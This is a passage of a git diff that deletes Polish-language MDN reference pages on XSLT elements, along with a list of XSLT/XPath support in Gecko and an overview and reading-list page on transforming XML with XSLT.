Element <xsl:namespace-alias> jest rzadko używanym narzędziem, które mapuje przestrzeń nazw w arkuszu stylów do innej przestrzeni nazw w drzewie wyjściowym. Najczęstszym zastosowaniem tego elementu jest generowanie arkusza stylów z innego arkusza. Aby zapobiec elementowi wyniku literałowego (LRE) z prefiksem xsl: przez byciem źle zrozumianym przez procesor (element ten powinien być po prostu skopiowany tak jak jest do drzewa wynikowego), jest on przypisywany do tymczasowej przestrzeni nazw, która jest odpowiednio przekonwertowana do przestrzeni nazw XSLT w drzewie wyjściowym. -

-

Składnia

-
<xsl:namespace-alias stylesheet-prefix=NAZWA result-prefix=NAZWA />

Wymagane atrybuty

-
stylesheet-prefix -
Określa tymczasową przestrzeń nazw. -
result-prefix -
Określa pożądaną przestrzeń nazw dla drzewa wyjściowego. -
-

Opcjonalne atrybuty

-

Brak. -

-

Typ

-

Element najwyższego poziomu, musi być dzieckiem <xsl:stylesheet> lub <xsl:transform>. -

-

Definicja

-

XSLT, sekcja 7.1.1 -

-

Gecko

-

W chwili obecnej nie obsługuje. -

{{ languages( { "en": "en/XSLT/namespace-alias", "es": "es/XSLT/namespace-alias", "fr": "fr/XSLT/namespace-alias" } ) }} diff --git a/files/pl/web/xslt/number/index.html b/files/pl/web/xslt/number/index.html deleted file mode 100644 index e54b37df37..0000000000 --- a/files/pl/web/xslt/number/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: number -slug: Web/XSLT/number -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/number ---- -

-{{ XsltRef() }} -

Element <xsl:number> zlicza wszystko sekwencyjnie. Może być również zastosowany do szybkiego formatowania liczb.

-

Składnia

-
<xsl:number
-	count=WYRAŻENIE
-	level="single" | "multiple" | "any"
-	from=WYRAŻENIE
-	value=WYRAŻENIE
-	format=ŁAŃCUCH_ZNAKÓW_FORMATU
-	lang=XML:LANG-CODE
-	letter-value="alphabetic" | "traditional"
-	grouping-separator=SYMBOL
-	grouping-size=LICZBA  />

Wymagane atrybuty

-

Brak. -

-

Opcjonalne atrybuty

-
count -
Określa co w drzewie źródłowym powinno zostać zliczone sekwencyjnie. Atrybut używa wyrażenia XPath. -
-
level -
Określa w jaki sposób poziomy drzewa źródłowego powinny być traktowane w generowaniu liczb sekwencyjnych. Atrybut posiada trzy prawidłowe wartości: single, multiple i any. Domyślną wartością jest single: -
-
single -
Zlicza węzły-rodzeństwo sekwencyjnie tak, jak pozycje na liście. Procesor idzie do pierwszego węzła w osi ancestor-or-self, który pasuje do atrybutu count i zlicza ten węzeł wraz z całym poprzedzającym go rodzeństwem (zatrzymując się po osiągnięciu odpowiednika atrybutu from, jeśli jakikolwiek istnieje), które również pasuje do atrybutu count. Jeśli nie znaleziono odpowiednich węzłów, sekwencja będzie pustą listą. -
-
-
multiple -
Zlicza węzły jako złożoną sekwencję, która odzwierciedla hierarchiczną pozycję węzła np. 1.2.2.5 (za pomocą atrybutu format można określić zagnieżdżony format np. A.1.1). Procesor patrzy na wszystkich przodków obecnego węzła i na sam węzeł, zatrzymując się po osiągnięciu odpowiednika atrybutu from, jeśli jakikolwiek istnieje. Dla każdego węzła na tej liście, który pasuje do atrybutu count, procesor zlicza ile poprzedzającego (i pasującego) rodzeństwa posiada on dodając również jeden dla samego węzła. Jeśli nie znaleziono odpowiednich elementów, sekwencja będzie pustą listą. -
-
-
any (Obecnie nieobsługiwany) -
Zlicza wszystkie pasujące węzły sekwencyjnie, niezależnie od ich poziomu. Brane są pod uwagę wszystkie osie ancestor, self i preceding. Procesor zaczyna od aktualnego węzła kontynuując w odwrotnym kierunku dokumentu, zatrzymując się po osiągnięciu odpowiednika atrybutu from. Jeśli nie znaleziono węzłów pasujących do atrybutu count, sekwencja będzie pustą listą. Ten poziom nie jest obecnie. -
-
-
from -
Określa gdzie powinno rozpocząć się zliczanie. Sekwencja rozpoczyna się od pierwszego potomka węzła pasującego do atrybutu from. -
-
value -
Stosuje podany format do liczby. Jest to szybki sposób na formatowanie liczb dostarczonych przez użytkownika (w przeciwieństwie do liczby sekwencyjnej węzła) w dowolnym ze standardowych formatów <xsl:number>. -
-
format -
Definiuje format generowanych liczb: -
-
format="1" -
<tt>1 2 3 . . .</tt> (Jest to jedyny obsługiwany obecnie format) -
-
-
format="01" -
<tt>01 02 03 . . . 09 10 11 . . .</tt> -
-
-
format="a" -
<tt>a b c . . .y z aa ab . . .</tt> -
-
-
format="A" -
<tt>A B C . . . Y Z AA AB . . .</tt> -
-
-
format="i" -
<tt>i ii iii iv v . . .</tt> -
-
-
format="I" -
<tt>I II III IV V . . .</tt> -
-
-
lang (Obecnie nieobsługiwany) -
Określa język, którego alfabet będzie stosowaniu w formatowaniu liczb opartym o litery. -
-
letter-value -
Wprowadza ujednoznacznienie między sekwencjami liczbowymi, które używają liter. Niektóre języki posiadają więcej niż jeden system liczbowy używający liter. Jeśli obydwa systemy zaczynają się tym samym znakiem, mogą powstać niejasności. Atrybut ten może posiadać wartość "alphabetic" (alfabetycznie) lub "traditional" (tradycyjnie). Domyślną wartością jest "alphabetic". -
-
grouping-separator -
Określa symbol jaki powinien zostać użyty jako separator grup. Domyślnym symbolem jest przecinek (,). -
-
grouping-size -
Wskazuje liczbę cyfr, z których składa się grupa numeryczna. Domyślną wartością jest "3". -
-

Typ

-

Instrukcja, pojawia się wewnątrz szablonu.

-

Definicja

-

XSLT, sekcja 7.7 -

-

Gecko

-

Częściowo obsługuje. Zobacz powyższe komentarze. -

{{ languages( { "en": "en/XSLT/number", "es": "es/XSLT/number", "fr": "fr/XSLT/number" } ) }} diff --git a/files/pl/web/xslt/otherwise/index.html b/files/pl/web/xslt/otherwise/index.html deleted file mode 100644 index 7b3a02ace5..0000000000 --- a/files/pl/web/xslt/otherwise/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: otherwise -slug: Web/XSLT/otherwise -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/otherwise ---- -

-{{ XsltRef() }} -

Element <xsl:otherwise> jest używany do zdefiniowania czynności, która jest wykonywana, gdy żaden z warunków <xsl:when> nie ma zastosowania. Element jest podobny do instrukcji else lub default znanej z innych języków programowania. -

-

Składnia

-
<xsl:otherwise>
-	SZABLON
-</xsl:otherwise>

Wymagane atrybuty

-

Brak. -

-

Opcjonalne atrybuty

-

Brak. -

-

Typ

-

Podinstrukcja, musi pojawić się wewnątrz szablonu jako ostatnie dziecko elementu <xsl:choose>. -

-

Definicja

-

XSLT, sekcja 9.2 -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/otherwise", "es": "es/XSLT/otherwise", "fr": "fr/XSLT/otherwise" } ) }} diff --git a/files/pl/web/xslt/output/index.html b/files/pl/web/xslt/output/index.html deleted file mode 100644 index 44a63ffdb7..0000000000 --- a/files/pl/web/xslt/output/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: output -slug: Web/XSLT/output -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/output ---- -

-{{ XsltRef() }} -

Element <xsl:output> kontroluje charakterystyki dokumentu wyjściowego. Aby funkcjonować poprawnie w Netscapie, element musi być użyty z atrybutem method. Od wersji 7.0 method="text" działa prawidłowo. -

-

Składnia

-
<xsl:output
-	method="xml" | "html" | "text"
-	version=LANCUCH-ZNAKOW
-	encoding=LANCUCH-ZNAKOW
-	omit-xml-declaration="yes" | "no"
-	standalone="yes" | "no"
-	doctype-public=LANCUCH-ZNAKOW
-	doctype-system=LANCUCH-ZNAKOW
-	cdata-section-elements=LISTA-NAZW
-	indent="yes" | "no"
-	media-type=LANCUCH-ZNAKOW  />

Wymagane atrybuty

-

Brak. -

-

Opcjonalne atrybuty

-
method 
Określa format wyjściowy. -
-
version 
Określa wartość atrybutu wersji deklaracji XML lub HTML w dokumencie wyjściowym. Można go używać wyłącznie z method="html" lub method="xml". -
-
encoding -
Określa wartość atrybutu kodowania encoding w dokumencie wyjściowym. -
-
omit-xml-declaration -
Wskazuje czy dołączyć do wyjścia deklarację XML. Dozwolone wartości to "yes" lub "no". -
-
standalone (Niewspierane) -
Jeśli obecny wskazuje, że samodzielna deklaracja powinna pojawić się dokumencie wyjściowym; wskazuje również jej wartość. Dozwolone wartości to "yes" lub "no". -
-
doctype-public -
Określa wartość atrybutu PUBLIC deklaracji DOCTYPE w dokumencie wyjściowym. -
-
doctype-system 
Określa wartość atrybutu SYSTEM deklaracji DOCTYPE w dokumencie wyjściowym. -
-
cdata-section-elements 
Wypisuje elementy, których treść tekstowa powinna być zapisana jako sekcje CDATA. Elementy powinny być oddzielone za pomocą białych znaków. -
-
indent (Niewspierane) -
Określa czy wyjście powinno zostać wcięte, aby ukazać jego hierarchiczną strukturę. -
-
media-type (Nieobsługiwany) 
Określa typ MIME dokumentu wyjściowego. -
-

Typ

-

Element najwyższego poziomu, musi być dzieckiem <xsl:stylesheet> lub <xsl:transform>. -

-

Definicja

-

XSLT, sekcja 16. -

-

Gecko

-

Częściowo obsługuje. Zobacz powyższe komentarze. -

{{ languages( { "en": "en/XSLT/output", "fr": "fr/XSLT/output" } ) }} diff --git a/files/pl/web/xslt/param/index.html b/files/pl/web/xslt/param/index.html deleted file mode 100644 index 43eead74c1..0000000000 --- a/files/pl/web/xslt/param/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: param -slug: Web/XSLT/param -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/param ---- -

-{{ XsltRef() }} -

Element <xsl:param> ustala parametr przez nazwę i (opcjonalnie) przez domyślną wartość dla tego parametru. Jeśli użyty jako element najwyższego poziomu, parametr jest globalny. Jeśli użyty wewnątrz elementu <xsl:template>, parametr jest lokalny dla tego szablonu. W takim przypadku musi być on pierwszym elementem-dzieckiem szablonu. -

-

Składnia

-
<xsl:param name=NAZWA select=WYRAZENIE
-	SZABLON
-</xsl:param>

Wymagane atrybuty

-
name -
Nazywa parametr. Musi być poprawną wartością QName. -
-

Opcjonalne atrybuty

-
select -
Używa wyrażenia XPath, aby dostarczyć domyślną wartość, gdy żadna nie została określona. -
-

Typ

-

Instrukcja, może pojawić się jako element najwyższego poziomu lub wewnątrz szablonu. -

-

Definicja

-

XSLT, sekcja 11. -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/param", "fr": "fr/XSLT/param" } ) }} diff --git a/files/pl/web/xslt/preserve-space/index.html b/files/pl/web/xslt/preserve-space/index.html deleted file mode 100644 index 962f299793..0000000000 --- a/files/pl/web/xslt/preserve-space/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: preserve-space -slug: Web/XSLT/preserve-space -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/preserve-space ---- -

-{{ XsltRef() }} -

Element <xsl:preserve-space> definiuje elementy w dokumencie źródłowym, dla których białe znaki (whitespace) powinny zostać zachowane. Jeśli elementów jest więcej niż tylko jeden, oddziel ich nazwy używając jednego z białych znaków. Pozostawienie białych znaków jest ustawieniem domyślnym, dlatego ten element musi być użyty tylko jako przeciwdziałanie elementowi <xsl:strip-space>. -

-

Składnia

-
<xsl:preserve-space elements=LISTA-NAZW  />

Wymagane atrybuty

-
elements -
Określa elementy, dla których białe znaki mają zostać zachowane. -
-

Opcjonalne atrybuty

-

Brak. -

-

Typ

-

Element najwyższego poziomu, musi być dzieckiem <xsl:stylesheet> lub <xsl:transform>. -

-

Definicja

-

XSLT, sekcja 3.4 -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/preserve-space", "fr": "fr/XSLT/preserve-space" } ) }} diff --git a/files/pl/web/xslt/processing-instruction/index.html b/files/pl/web/xslt/processing-instruction/index.html deleted file mode 100644 index 4f1e67f565..0000000000 --- a/files/pl/web/xslt/processing-instruction/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: processing-instruction -slug: Web/XSLT/processing-instruction -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/processing-instruction ---- -

-{{ XsltRef() }} -

Element <xsl:processing-instruction> zapisuje instrukcję przetwarzania do dokumentu wyjściowego. -

-

Składnia

-

<xsl:processing-instruction name=NAZWA> SZABLON -</xsl:processing-instruction>

-

Wymagane atrybuty

-
name -
Określa nazwę instrukcji przetwarzania. -
-

Opcjonalne atrybuty

-

Brak. -

-

Typ

-

Instrukcja, pojawia się wewnątrz szablonu. -

-

Definicja

-

XSLT, sekcja 7.3 -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/processing-instruction", "fr": "fr/XSLT/processing-instruction" } ) }} diff --git a/files/pl/web/xslt/sort/index.html b/files/pl/web/xslt/sort/index.html deleted file mode 100644 index 9a6ab04701..0000000000 --- a/files/pl/web/xslt/sort/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: sort -slug: Web/XSLT/sort -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/sort ---- -

-{{ XsltRef() }} -

Element <xsl:sort> definiuje klucz sortowania dla węzłów wybranych przez <xsl:apply-templates> lub <xsl:for-each> i określa kolejność, w jakiej mają być one przetwarzane. -

-

Składnia

-
<xsl:sort
-	select=WYRAZENIE
-	order="ascending" | "descending"
-	case-order="upper-first"| "lower-first"
-	lang=XML:KOD-JEZYKA
-	data-type="text" | "number" /> 
-

Wymagane atrybuty

-

Brak. -

-

Opcjonalne atrybuty

-
select -
Używa wyrażenia XPath do określenia węzłów, które mają zostać posortowane. -
-
order -
Określa czy węzły mają być przetwarzane w kolejności "ascending" (rosnącej) lub "descending" (malejącej). Wartością domyślną jest "ascending". -
-
case-order -
Wskazuje, które z liter (małe czy duże) mają być uporządkowane jako pierwsze. Dostępnymi wartościami są "upper-first" (najpierw duże) i "lower-first" (najpierw małe). -
-
lang -
Określa, który język ma zostać użyty przez sortowanie. -
-
data-type -
Definiuje czy pozycje mają być uporządkowane alfabetycznie czy numerycznie. Dostępnymi wartościami są "text" (alfabetycznie) i "number" (numerycznie) z "text" jako wartością domyślną. -
-

Typ

-

Podinstrukcja, zawsze pojawia się jako dziecko <xsl:for-each> (gdzie musi się pojawić przed szablonem) lub <xsl:apply-templates>. -

-

Definicja

-

XSLT, sekcja 10. -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/sort", "fr": "fr/XSLT/sort" } ) }} diff --git a/files/pl/web/xslt/strip-space/index.html b/files/pl/web/xslt/strip-space/index.html deleted file mode 100644 index 55daf99a8d..0000000000 --- a/files/pl/web/xslt/strip-space/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: strip-space -slug: Web/XSLT/strip-space -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/strip-space ---- -

-{{ XsltRef() }} -

Element <xsl:strip-space> definiuje elementy w dokumencie źródłowym, dla których białe znaki powinny zostać usunięte. -

-

Składnia

-
<xsl:strip-space elements=LISTA-NAZW  />

Wymagane atrybuty

-
elements -
Określa listę oddzielonych za pomocą spacji elementów w źródle, którego węzły tekstowe zawierające tylko białe znaki powinny zostać usunięte. -
-

Opcjonalne atrybuty

-

Brak. -

-

Typ

-

Element najwyższego poziomu, musi być dzieckiem <xsl:stylesheet> lub <xsl:transform>. -

-

Definicja

-

XSLT, sekcja 3.4 -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/strip-space", "fr": "fr/XSLT/strip-space" } ) }} diff --git a/files/pl/web/xslt/stylesheet/index.html b/files/pl/web/xslt/stylesheet/index.html deleted file mode 100644 index 36275a7efd..0000000000 --- a/files/pl/web/xslt/stylesheet/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: stylesheet -slug: Web/XSLT/stylesheet -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/stylesheet ---- -

{{ XsltRef() }}

-

Element <xsl:stylesheet> (lub odpowiadający mu element <xsl:transform>) jest najbardziej zewnętrznym elementem arkusza.

-

Deklaracja przestrzeni nazw

-

Pseudoatrybut wymagany do identyfikacji dokumentu jako arkusza XSLT. Zazwyczaj jest to xmlns:xsl="http://www.w3.org/1999/XSL/Transform".

-

Składnia

-
<xsl:stylesheet
-	version=LICZBA
-	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
-	id=NAZWA
-	extension-element-prefixes=LISTA-NAZW
-	exclude-result-prefixes=LISTA-NAZW>
-		CALY ARKUSZ
-</xsl:stylesheet>
-

Wymagane atrybuty

-
version
Określa wersję XSLT wymaganą przez ten arkusz.
-

Opcjonalne atrybuty

-
id (Obsługiwany od wersji 7.0 tylko wtedy, gdy jednoznacznie wywołany poprzez liniowe DTD.)
Określa id dla tego arkusza. Jest on używany najczęściej wtedy, gdy arkusz jest osadzony w innym dokumencie XML.
extension-element-prefixes (Nieobsługiwany.)
Określa listę oddzielonych spacjami prefiksów przestrzeni nazw dla elementów rozszerzenia wewnątrz tego dokumentu.
exclude-result-prefixes
Określa dowolną przestrzeń nazw użytą w tym dokumencie, która nie powinna zostać wysłana do dokumentu wyjściowego. Lista jest oddzielona za pomocą białych znaków.
-

Typ

-

Wymagany, najbardziej zewnętrzny element arkusza.

-

Definicja

-

XSLT, sekcja 2.2.

-

Gecko

-

Częściowo obsługuje. Zobacz powyższe komentarze.

-

{{ languages( { "en": "en/XSLT/stylesheet", "fr": "fr/XSLT/stylesheet" } ) }}

diff --git a/files/pl/web/xslt/template/index.html b/files/pl/web/xslt/template/index.html deleted file mode 100644 index b428b9eaf0..0000000000 --- a/files/pl/web/xslt/template/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: template -slug: Web/XSLT/template -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/template ---- -

-{{ XsltRef() }} -

Element <xsl:template> definiuje szablon produkujący wyjście. Ten element musi posiadać ustawiony atrybut match lub atrybut name. -

-

Składnia

-
<xsl:template
-	match=WZORZEC
-	name=NAZWA
-	mode=NAZWA
-	priority=LICZBA>
-	<xsl:param> [opcjonalnie]
-	SZABLON
-</xsl:template>

Wymagane atrybuty

-

Brak. -

-

Opcjonalne atrybuty

-
match -
Określa wzór, który warunkuje elementy, dla których szablon ten powinien zostać użyty. Jest to wymagany atrybut, gdy nie został zdefiniowany atrybut name. -
-
name -
Określa dla szablonu nazwę, za pomocą której może on być wywołany przez element <xsl:call-template>. -
-
mode -
Określa dla szablonu konkretny tryb, który może być dobrany przez atrybut elementu <xsl:apply-templates>. Jest to użyteczne przy przetwarzaniu tej samej informacji na różne sposoby. -
-
priority -
Określa numeryczny priorytet dla tego szablonu. Może to być dowolna liczba różna od Infinity. Procesor używa tej liczby, gdy więcej niż jeden szablon dobiera ten sam węzeł. -
-

Typ

-

Element najwyższego poziomu, musi być dzieckiem <xsl:stylesheet> lub <xsl:transform>. -

-

Definicja

-

XSLT, sekcja 5.3. -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/template", "fr": "fr/XSLT/template" } ) }} diff --git a/files/pl/web/xslt/text/index.html b/files/pl/web/xslt/text/index.html deleted file mode 100644 index af8c6473af..0000000000 --- a/files/pl/web/xslt/text/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: text -slug: Web/XSLT/text -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/text ---- -

-{{ XsltRef() }} -

Element <xsl:text> zapisuje tekst literałowy do drzewa wyjściowego. Może on zawierać elementy #PCDATA, tekst literałowy i referencje encji. -

-

Składnia

-
<xsl:text disable-output-escaping="yes" | "no">
-	TEKST
-</xsl:text> 
-

Wymagane atrybuty

-

Brak. -

-

Opcjonalne atrybuty

-
disable-output-escaping (Netscape nie dzieli wyników przekształcenia - poniższego "wyjścia" - dlatego atrybut ten jest w zasadzie nieistotny w znaczeniu. Aby otrzymać na wyjściu encje html użyj wartości numerycznych, np. &#160 dla &nbsp) -
Określa czy znaki specjalne są pomijane przy zapisywaniu do wyjścia. Dostępne wartości to "yes" lub "no". Przykładowo, jeżeli ustawiona jest wartość "yes", <tt>></tt> jest wyświetlane jako >, a nie jako "&gt". -
-

Typ

-

Instrukcja, pojawia się wewnątrz szablonu. -

-

Definicja

-

XSLT, sekcja 7.2 -

-

Gecko

-

Obsługuje jak wspomniano wyżej. -

{{ languages( { "en": "en/XSLT/text", "fr": "fr/XSLT/text" } ) }} diff --git a/files/pl/web/xslt/transform/index.html b/files/pl/web/xslt/transform/index.html deleted file mode 100644 index 8fc9637505..0000000000 --- a/files/pl/web/xslt/transform/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: transform -slug: Web/XSLT/transform -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/transform ---- -

-{{ XsltRef() }} -

Element <xsl:transform> jest dokładnie równoważny elementowi <xsl:stylesheet>. -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/transform", "fr": "fr/XSLT/transform" } ) }} diff --git a/files/pl/web/xslt/transformacje_xml_z_xslt/dokumentacja_xslt_xpath/index.html b/files/pl/web/xslt/transformacje_xml_z_xslt/dokumentacja_xslt_xpath/index.html deleted file mode 100644 index 59da884b56..0000000000 --- a/files/pl/web/xslt/transformacje_xml_z_xslt/dokumentacja_xslt_xpath/index.html +++ /dev/null @@ -1,243 +0,0 @@ ---- -title: Dokumentacja XSLT/XPath -slug: Web/XSLT/Transformacje_XML_z_XSLT/Dokumentacja_XSLT_XPath -tags: - - Dokumentacje - - Wszystkie_kategorie - - XPath - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Transforming_XML_with_XSLT/The_Netscape_XSLT_XPath_Reference ---- -

-{{ XsltRef() }} -Alfabetyczna lista elementów objaśniająca, wyrażenia i funkcje stanowiące rekomendację W3C XSLT 1.0 i tak samo jak z odpowiednie sekcje rekomendacji XPath. Rozwój procesora XSLT jest w toku i ten dokument będzie aktualizowany pod względem funkcjonalności w miarę jak bedzie się on rozszerzał.

-

Elementy

-

xsl:apply-imports

-

(obsługiwany) -

-

xsl:apply-templates

-

(obsługiwany) -

-

xsl:attribute

-

(obsługiwany) -

-

xsl:attribute-set

-

(obsługiwany) -

-

xsl:call-template

-

(obsługiwany) -

-

xsl:choose

-

(obsługiwany) -

-

xsl:comment

-

(obsługiwany) -

-

xsl:copy

-

(obsługiwany) -

-

xsl:copy-of

-

(obsługiwany) -

-

xsl:decimal-format

-

(obsługiwany) -

-

xsl:element

-

(obsługiwany) -

-

xsl:fallback

-

(nie obsługiwany) -

-

xsl:for-each

-

(obsługiwany) -

-

xsl:if

-

(obsługiwany) -

-

xsl:import

-

(przeważnie obsługiwany) -

-

xsl:include

-

(obsługiwany) -

-

xsl:key

-

(obsługiwany) -

-

xsl:message

-

(obsługiwany) -

-

xsl:namespace-alias

-

(nie obsługiwany) -

-

xsl:number

-

(częściowo obsługiwany) -

-

xsl:otherwise

-

(obsługiwany) -

-

xsl:output

-

(częściowo obsługiwany) -

-

xsl:param

-

(obsługiwany) -

-

xsl:preserve-space

-

(obsługiwany) -

-

xsl:processing-instruction

-

xsl:sort

-

(obsługiwany) -

-

xsl:strip-space

-

(obsługiwany) -

-

xsl:stylesheet

-

(częściowo obsługiwany) -

-

xsl:template

-

(obsługiwany) -

-

xsl:text

-

(częściowo obsługiwany) -

-

xsl:transform

-

(obsługiwany) -

-

xsl:value-of

-

(częściowo obsługiwany) -

-

xsl:variable

-

(obsługiwany) -

-

xsl:when

-

(obsługiwany) -

-

xsl:with-param

-

(obsługiwany) -

-

Osie wierzchołków

-

ancestor

-

ancestor-or-self

-

attribute

-

child

-

descendant

-

descendant-or-self

-

following

-

following-sibling

-

namespace

-
(nie obsługiwane) -
-

parent

-

preceding

-

preceding-sibling

-

self

-

Funkcje

-

boolean()

-

(obsługiwana) -

-

ceiling()

-

(obsługiwana) -

-

concat()

-

(obsługiwana) -

-

contains()

-

(obsługiwana) -

-

count()

-

(obsługiwana) -

-

current()

-

(obsługiwana) -

-

document()

-

(obsługiwana) -

-

element-available()

-

(obsługiwana) -

-

false()

-

(obsługiwana) -

-

floor()

-

(obsługiwana) -

-

format-number()

-

(obsługiwana) -

-

function-available()

-

(obsługiwana) -

-

generate-id()

-

(obsługiwana) -

-

id()

-

(częściowo obsługiwana) -

-

key()

-

(obsługiwana) -

-

lang()

-

(obsługiwana) -

-

last()

-

(obsługiwana) -

-

local-name()

-

(obsługiwana) -

-

name()

-

(obsługiwana) -

-

namespace-uri()

-

(obsługiwana) -

-

normalize-space()

-

(obsługiwana) -

-

not()

-

(obsługiwana) -

-

number()

-

(obsługiwana) -

-

position()

-

(obsługiwana) -

-

round()

-

(obsługiwana) -

-

starts-with()

-

(obsługiwana) -

-

string()

-

(obsługiwana) -

-

string-length()

-

(obsługiwana) -

-

substring()

-

(obsługiwana) -

-

substring-after()

-

(obsługiwana) -

-

substring-before()

-

(obsługiwana) -

-

sum()

-

(obsługiwana) -

-

system-property()

-

(obsługiwana) -

-

translate()

-

(obsługiwana) -

-

true()

-

(obsługiwana) -

-

unparsed-entity-url()

-

(nie obsługiwana) -

{{ languages( { "en": "en/Transforming_XML_with_XSLT/The_Netscape_XSLT//XPath_Reference", "fr": "fr/Transformations_XML_avec_XSLT/La_r\u00e9f\u00e9rence_XSLT//XPath_de_Netscape", "ja": "ja/Transforming_XML_with_XSLT/The_Netscape_XSLT//XPath_Reference" } ) }} diff --git a/files/pl/web/xslt/transformacje_xml_z_xslt/index.html b/files/pl/web/xslt/transformacje_xml_z_xslt/index.html deleted file mode 100644 index b02e157f61..0000000000 --- a/files/pl/web/xslt/transformacje_xml_z_xslt/index.html +++ /dev/null @@ -1,147 +0,0 @@ ---- -title: Transformacje XML z XSLT -slug: Web/XSLT/Transformacje_XML_z_XSLT -tags: - - Strony_wymagające_dopracowania - - Transformacje_XML_z_XSLT - - Wszystkie_kategorie - - XML - - XSLT -translation_of: Web/XSLT/Transforming_XML_with_XSLT ---- -

Ogólny przegląd

- -

The separation of content and presentation is a key design feature of XML. The structure of an XML document is designed to reflect and clarify important relationships among the individual aspects of the content itself, unhindered by a need to provide any indication about how this data should eventually be presented. This intelligent structuring is particularly important as more and more data transfers are automated and take place between highly heterogeneous machines linked by a network.

- -

Yet eventually much of the content stored in XML documents will need to be presented to human readers. Because a browser provides a familiar and highly flexible interface, it is an ideal mechanism for delivering such presentation versions of XML content. Built from the ground up utilizing a wide variety of XML technologies, Mozilla incorporates within itself all of the mechanisms needed to process both original XML documents and the specialized stylesheets used to style and lay them out for HTML display, reducing server load with client-side processing.

- -

At present, Gecko (the layout engine behind Mozilla and Firefox) supports two forms of XML stylesheets. For basic control of appearance - fonts, colors, position, and so forth, Gecko uses CSS, familiar from DHTML. All of CSS1 and most of CSS2 are supported. Support for the emerging CSS3 standard is under development. For further information about CSS, see Eric Meyer's CSS pages. For an overview of CSS1 and Netscape, see this Browser Central page.

- -

Our focus here is on the second type of stylesheet that Gecko supports: the XSLT stylesheet. XSLT stands for eXtensible Stylesheet Language/Transform and the name is apt. XSLT allows a stylesheet author to transform a primary XML document in two significant ways: manipulating and sorting the content, including a wholesale reordering of it if so desired, and transforming the content into a different format (and in the case of Netscape, the focus is on converting it on the fly into HTML which can then be displayed by the browser).

- -

Dokumentacja XSLT/XPath

- -

Elementy

- - - -

Osie wierzchołków

- - - -

Funkcje

- - - -

Przeczytaj więcej

- - - -

Index

- -
-

Original Document Information

- -
    -
  • Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.
  • -
  • Note: This reprinted article was originally part of the DevEdge site.
  • -
-
diff --git "a/files/pl/web/xslt/transformacje_xml_z_xslt/przeczytaj_wi\304\231cej/index.html" "b/files/pl/web/xslt/transformacje_xml_z_xslt/przeczytaj_wi\304\231cej/index.html" deleted file mode 100644 index 7eff31a7f4..0000000000 --- "a/files/pl/web/xslt/transformacje_xml_z_xslt/przeczytaj_wi\304\231cej/index.html" +++ /dev/null @@ -1,205 +0,0 @@ ---- -title: Przeczytaj więcej -slug: Web/XSLT/Transformacje_XML_z_XSLT/Przeczytaj_więcej -tags: - - Transformacje_XML_z_XSLT - - Wszystkie_kategorie - - XML - - XSLT -translation_of: Web/XSLT/Transforming_XML_with_XSLT/For_Further_Reading ---- -« Transformacje XML z XSLT - -

Drukowane

- -

Książki

- -
-
XSLT: Programmer's Reference, Second Edition - -
-
Autor: Michael H. Kay
-
Długość: 992 stron
-
Wydawca: Wrox; 2 edycja (3 maja 2001)
-
ISBN: 0764543814 -
-
Michael Kay jest członkiem grupy roboczej W3C XSL i autorem swojego własnego, open source'owego procesora XSLT o nazwie Saxon. Jest on również autorem jedynej książki na ten temat, która doczekała się drugiego wydania. Jest to obszerna, dobrze napisana książka, świetnie wyczerpująca temat (czasem może nawet samego czytelnika), opisująca w najdrobniejszych detalach każdy istotny wątek w historii o XSLT.
-
-
-
-
-
- -

http://www.amazon.com/XSLT-Programme.../dp/0764543814

- -

 

- -
-
XSLT - -
-
Autor: Doug Tidwell
-
Długość: 473 stron
-
Wydawnictwo: O'Reilly Media; 1 edycja (15 sierpnia 2001)
-
ISBN: 0596000537 -
-
